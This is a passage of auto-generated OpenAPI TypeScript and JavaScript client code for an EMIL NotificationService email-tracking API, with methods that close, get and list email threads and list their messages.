readonly authorization?: string;
/**
* A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @type {number}
* @memberof EmailTrackingApiListThreads
*/
readonly pageSize?: number;
/**
* A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @type {string}
* @memberof EmailTrackingApiListThreads
*/
readonly pageToken?: string;
/**
* Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @type {string}
* @memberof EmailTrackingApiListThreads
*/
readonly filter?: string;
/**
* To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @type {string}
* @memberof EmailTrackingApiListThreads
*/
readonly search?: string;
/**
* Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt&lt;/i&gt;
* @type {string}
* @memberof EmailTrackingApiListThreads
*/
readonly order?: string;
/**
* Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: messages&lt;i&gt;
* @type {string}
* @memberof EmailTrackingApiListThreads
*/
readonly expand?: string;
/**
* Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @type {string}
* @memberof EmailTrackingApiListThreads
*/
readonly filters?: string;
}
/**
* EmailTrackingApi - object-oriented interface
* @export
* @class EmailTrackingApi
* @extends {BaseAPI}
*/
export declare class EmailTrackingApi extends BaseAPI {
/**
* undefined **Required Permissions** \"notification-management.email-messages.update\"
* @param {EmailTrackingApiCloseThreadRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof EmailTrackingApi
*/
closeThread(requestParameters: EmailTrackingApiCloseThreadRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<GetEmailThreadResponseClass, any, {}>>;
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {EmailTrackingApiGetThreadRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof EmailTrackingApi
*/
getThread(requestParameters: EmailTrackingApiGetThreadRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<GetEmailThreadResponseClass, any, {}>>;
/**
* Lists all email messages for a thread **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email messages
* @param {EmailTrackingApiListMessagesRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof EmailTrackingApi
*/
listMessages(requestParameters: EmailTrackingApiListMessagesRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<ListEmailMessagesResponseClass, any, {}>>;
/**
* Lists all email threads with optional filters **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email threads
* @param {EmailTrackingApiListThreadsRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof EmailTrackingApi
*/
listThreads(requestParameters?: EmailTrackingApiListThreadsRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<ListEmailThreadsResponseClass, any, {}>>;
}
"use strict";
/* tslint:disable */
/* eslint-disable */
/**
* EMIL NotificationService
* The EMIL NotificationService API description
*
* The version of the OpenAPI document: 1.0
* Contact: kontakt@emil.de
*
* NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech).
* https://openapi-generator.tech
* Do not edit the class manually.
*/
var __extends = (this && this.__extends) || (function () {
var extendStatics = function (d, b) {
extendStatics = Object.setPrototypeOf ||
({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };
return extendStatics(d, b);
};
return function (d, b) {
if (typeof b !== "function" && b !== null)
throw new TypeError("Class extends value " + String(b) + " is not a constructor or null");
extendStatics(d, b);
function __() { this.constructor = d; }
d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
};
})();
var __assign = (this && this.__assign) || function () {
__assign = Object.assign || function(t) {
for (var s, i = 1, n = arguments.length; i < n; i++) {
s = arguments[i];
for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p))
t[p] = s[p];
}
return t;
};
return __assign.apply(this, arguments);
};
var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) {
function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); }
return new (P || (P = Promise))(function (resolve, reject) {
function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } }
function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } }
function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); }
step((generator = generator.apply(thisArg, _arguments || [])).next());
});
};
var __generator = (this && this.__generator) || function (thisArg, body) {
var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g;
return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g;
function verb(n) { return function (v) { return step([n, v]); }; }
function step(op) {
if (f) throw new TypeError("Generator is already executing.");
while (g && (g = 0, op[0] && (_ = 0)), _) try {
if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t;
if (y = 0, t) op = [op[0] & 2, t.value];
switch (op[0]) {
case 0: case 1: t = op; break;
case 4: _.label++; return { value: op[1], done: false };
case 5: _.label++; y = op[1]; op = [0]; continue;
case 7: op = _.ops.pop(); _.trys.pop(); continue;
default:
if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; }
if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; }
if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; }
if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; }
if (t[2]) _.ops.pop();
_.trys.pop(); continue;
}
op = body.call(thisArg, _);
} catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; }
if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true };
}
};
var __importDefault = (this && this.__importDefault) || function (mod) {
return (mod && mod.__esModule) ? mod : { "default": mod };
};
Object.defineProperty(exports, "__esModule", { value: true });
exports.EmailTrackingApi = exports.EmailTrackingApiFactory = exports.EmailTrackingApiFp = exports.EmailTrackingApiAxiosParamCreator = void 0;
var axios_1 = __importDefault(require("axios"));
// Some imports not used depending on template conditions
// @ts-ignore
var common_1 = require("../common");
// @ts-ignore
var base_1 = require("../base");
// URLSearchParams not necessarily used
// @ts-ignore
var url_1 = require("url");
var FormData = require('form-data');
/**
* EmailTrackingApi - axios parameter creator
* @export
*/
var EmailTrackingApiAxiosParamCreator = function (configuration) {
var _this = this;
return {
/**
* undefined **Required Permissions** \"notification-management.email-messages.update\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
closeThread: function (code, authorization, options) {
if (options === void 0) { options = {}; }
return __awaiter(_this, void 0, void 0, function () {
var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions;
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
// verify required parameter 'code' is not null or undefined
(0, common_1.assertParamExists)('closeThread', 'code', code);
localVarPath = "/notificationservice/v1/email-threads/{code}/close"
.replace("{".concat("code", "}"), encodeURIComponent(String(code)));
localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL);
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
localVarRequestOptions = __assign(__assign({ method: 'PATCH' }, baseOptions), options);
localVarHeaderParameter = {};
localVarQueryParameter = {};
// authentication bearer required
// http bearer authentication required
return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)];
case 1:
// authentication bearer required
// http bearer authentication required
_a.sent();
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
(0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter);
headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers);
return [2 /*return*/, {
url: (0, common_1.toPathString)(localVarUrlObj),
options: localVarRequestOptions,
}];
}
});
});
},
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getThread: function (code, authorization, options) {
if (options === void 0) { options = {}; }
return __awaiter(_this, void 0, void 0, function () {
var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions;
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
// verify required parameter 'code' is not null or undefined
(0, common_1.assertParamExists)('getThread', 'code', code);
localVarPath = "/notificationservice/v1/email-threads/{code}"
.replace("{".concat("code", "}"), encodeURIComponent(String(code)));
localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL);
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
localVarRequestOptions = __assign(__assign({ method: 'GET' }, baseOptions), options);
localVarHeaderParameter = {};
localVarQueryParameter = {};
// authentication bearer required
// http bearer authentication required
return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)];
case 1:
// authentication bearer required
// http bearer authentication required
_a.sent();
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
(0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter);
headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers);
return [2 /*return*/, {
url: (0, common_1.toPathString)(localVarUrlObj),
options: localVarRequestOptions,
}];
}
});
});
},
/**
* Lists all email messages for a thread **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email messages
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, direction, deliveryStatus, fromAddress, subject, sentAt, receivedAt, createdAt, updatedAt&lt;/i&gt;
* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: attachments&lt;i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listMessages: function (code, authorization, filter, filters, order, expand, options) {
if (options === void 0) { options = {}; }
return __awaiter(_this, void 0, void 0, function () {
var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions;
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
// verify required parameter 'code' is not null or undefined
(0, common_1.assertParamExists)('listMessages', 'code', code);
localVarPath = "/notificationservice/v1/email-threads/{code}/messages"
.replace("{".concat("code", "}"), encodeURIComponent(String(code)));
localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL);
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
localVarRequestOptions = __assign(__assign({ method: 'GET' }, baseOptions), options);
localVarHeaderParameter = {};
localVarQueryParameter = {};
// authentication bearer required
// http bearer authentication required
return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)];
case 1:
// authentication bearer required
// http bearer authentication required
_a.sent();
if (filter !== undefined) {
localVarQueryParameter['filter'] = filter;
}
if (filters !== undefined) {
localVarQueryParameter['filters'] = filters;
}
if (order !== undefined) {
localVarQueryParameter['order'] = order;
}
if (expand !== undefined) {
localVarQueryParameter['expand'] = expand;
}
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
(0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter);
headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers);
return [2 /*return*/, {
url: (0, common_1.toPathString)(localVarUrlObj),
options: localVarRequestOptions,
}];
}
});
});
},
/**
* Lists all email threads with optional filters **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email threads
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt&lt;/i&gt;
* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: messages&lt;i&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listThreads: function (authorization, pageSize, pageToken, filter, search, order, expand, filters, options) {
if (options === void 0) { options = {}; }
return __awaiter(_this, void 0, void 0, function () {
var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions;
return __generator(this, function (_a) {
switch (_a.label) {
case 0:
localVarPath = "/notificationservice/v1/email-threads";
localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL);
if (configuration) {
baseOptions = configuration.baseOptions;
baseAccessToken = configuration.accessToken;
}
localVarRequestOptions = __assign(__assign({ method: 'GET' }, baseOptions), options);
localVarHeaderParameter = {};
localVarQueryParameter = {};
// authentication bearer required
// http bearer authentication required
return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)];
case 1:
// authentication bearer required
// http bearer authentication required
_a.sent();
if (pageSize !== undefined) {
localVarQueryParameter['pageSize'] = pageSize;
}
if (pageToken !== undefined) {
localVarQueryParameter['pageToken'] = pageToken;
}
if (filter !== undefined) {
localVarQueryParameter['filter'] = filter;
}
if (search !== undefined) {
localVarQueryParameter['search'] = search;
}
if (order !== undefined) {
localVarQueryParameter['order'] = order;
}
if (expand !== undefined) {
localVarQueryParameter['expand'] = expand;
}
if (filters !== undefined) {
localVarQueryParameter['filters'] = filters;
}
if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) {
localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken);
}
(0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter);
headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {};
localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers);
return [2 /*return*/, {
url: (0, common_1.toPathString)(localVarUrlObj),
options: localVarRequestOptions,
}];
}
});
});
},
};
};
exports.EmailTrackingApiAxiosParamCreator = EmailTrackingApiAxiosParamCreator;
/**
* EmailTrackingApi - functional programming interface
* @export
*/
var EmailTrackingApiFp = function (configuration) {
var localVarAxiosParamCreator = (0, exports.EmailTrackingApiAxiosParamCreator)(configuration);
return {
/**
* undefined **Required Permissions** \"notification-management.email-messages.update\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
closeThread: function (code, authorization, options) {
return __awaiter(this, void 0, void 0, function () {
var localVarAxiosArgs;
return __generator(this, function (_a) {
switch (_a.label) {
case 0: return [4 /*yield*/, localVarAxiosParamCreator.closeThread(code, authorization, options)];
case 1:
localVarAxiosArgs = _a.sent();
return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)];
}
});
});
},
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getThread: function (code, authorization, options) {
return __awaiter(this, void 0, void 0, function () {
var localVarAxiosArgs;
return __generator(this, function (_a) {
switch (_a.label) {
case 0: return [4 /*yield*/, localVarAxiosParamCreator.getThread(code, authorization, options)];
case 1:
localVarAxiosArgs = _a.sent();
return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)];
}
});
});
},
/**
* Lists all email messages for a thread **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email messages
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, direction, deliveryStatus, fromAddress, subject, sentAt, receivedAt, createdAt, updatedAt&lt;/i&gt;
* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: attachments&lt;i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listMessages: function (code, authorization, filter, filters, order, expand, options) {
return __awaiter(this, void 0, void 0, function () {
var localVarAxiosArgs;
return __generator(this, function (_a) {
switch (_a.label) {
case 0: return [4 /*yield*/, localVarAxiosParamCreator.listMessages(code, authorization, filter, filters, order, expand, options)];
case 1:
localVarAxiosArgs = _a.sent();
return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)];
}
});
});
},
/**
* Lists all email threads with optional filters **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email threads
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt&lt;/i&gt;
* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: messages&lt;i&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listThreads: function (authorization, pageSize, pageToken, filter, search, order, expand, filters, options) {
return __awaiter(this, void 0, void 0, function () {
var localVarAxiosArgs;
return __generator(this, function (_a) {
switch (_a.label) {
case 0: return [4 /*yield*/, localVarAxiosParamCreator.listThreads(authorization, pageSize, pageToken, filter, search, order, expand, filters, options)];
case 1:
localVarAxiosArgs = _a.sent();
return [2 /*return*/, (0, common_1.createRequestFunction)(localVarAxiosArgs, axios_1.default, base_1.BASE_PATH, configuration)];
}
});
});
},
};
};
exports.EmailTrackingApiFp = EmailTrackingApiFp;
/**
* EmailTrackingApi - factory interface
* @export
*/
var EmailTrackingApiFactory = function (configuration, basePath, axios) {
var localVarFp = (0, exports.EmailTrackingApiFp)(configuration);
return {
/**
* undefined **Required Permissions** \"notification-management.email-messages.update\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
closeThread: function (code, authorization, options) {
return localVarFp.closeThread(code, authorization, options).then(function (request) { return request(axios, basePath); });
},
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
getThread: function (code, authorization, options) {
return localVarFp.getThread(code, authorization, options).then(function (request) { return request(axios, basePath); });
},
/**
* Lists all email messages for a thread **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email messages
* @param {string} code
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, entityType, entityCode, direction, deliveryStatus, fromAddress, subject, notificationRequestId, sentAt, receivedAt, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, threadCode, direction, deliveryStatus, fromAddress, subject, sentAt, receivedAt, createdAt, updatedAt&lt;/i&gt;
* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: attachments&lt;i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listMessages: function (code, authorization, filter, filters, order, expand, options) {
return localVarFp.listMessages(code, authorization, filter, filters, order, expand, options).then(function (request) { return request(axios, basePath); });
},
/**
* Lists all email threads with optional filters **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email threads
* @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken.
* @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10.
* @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken&#x3D;1, your subsequent call can include pageToken&#x3D;2 in order to fetch the next page of the list.
* @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {string} [search] To search the list by any field, pass search&#x3D;xxx to fetch the result.
* @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt&lt;/i&gt;
* @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: messages&lt;i&gt;
* @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.&lt;br/&gt; &lt;br/&gt; &lt;i&gt;Allowed values: id, code, entityType, entityCode, subject, status, createdAt, updatedAt, createdBy, updatedBy&lt;/i&gt;
* @param {*} [options] Override http request option.
* @throws {RequiredError}
*/
listThreads: function (authorization, pageSize, pageToken, filter, search, order, expand, filters, options) {
return localVarFp.listThreads(authorization, pageSize, pageToken, filter, search, order, expand, filters, options).then(function (request) { return request(axios, basePath); });
},
};
};
exports.EmailTrackingApiFactory = EmailTrackingApiFactory;
/**
* EmailTrackingApi - object-oriented interface
* @export
* @class EmailTrackingApi
* @extends {BaseAPI}
*/
var EmailTrackingApi = /** @class */ (function (_super) {
__extends(EmailTrackingApi, _super);
function EmailTrackingApi() {
return _super !== null && _super.apply(this, arguments) || this;
}
/**
* undefined **Required Permissions** \"notification-management.email-messages.update\"
* @param {EmailTrackingApiCloseThreadRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof EmailTrackingApi
*/
EmailTrackingApi.prototype.closeThread = function (requestParameters, options) {
var _this = this;
return (0, exports.EmailTrackingApiFp)(this.configuration).closeThread(requestParameters.code, requestParameters.authorization, options).then(function (request) { return request(_this.axios, _this.basePath); });
};
/**
* undefined **Required Permissions** \"notification-management.email-messages.view\"
* @param {EmailTrackingApiGetThreadRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof EmailTrackingApi
*/
EmailTrackingApi.prototype.getThread = function (requestParameters, options) {
var _this = this;
return (0, exports.EmailTrackingApiFp)(this.configuration).getThread(requestParameters.code, requestParameters.authorization, options).then(function (request) { return request(_this.axios, _this.basePath); });
};
/**
* Lists all email messages for a thread **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email messages
* @param {EmailTrackingApiListMessagesRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
* @memberof EmailTrackingApi
*/
EmailTrackingApi.prototype.listMessages = function (requestParameters, options) {
var _this = this;
return (0, exports.EmailTrackingApiFp)(this.configuration).listMessages(requestParameters.code, requestParameters.authorization, requestParameters.filter, requestParameters.filters, requestParameters.order, requestParameters.expand, options).then(function (request) { return request(_this.axios, _this.basePath); });
};
/**
* Lists all email threads with optional filters **Required Permissions** \"notification-management.email-messages.view\"
* @summary List email threads
* @param {EmailTrackingApiListThreadsRequest} requestParameters Request parameters.
* @param {*} [options] Override http request option.
* @throws {RequiredError}
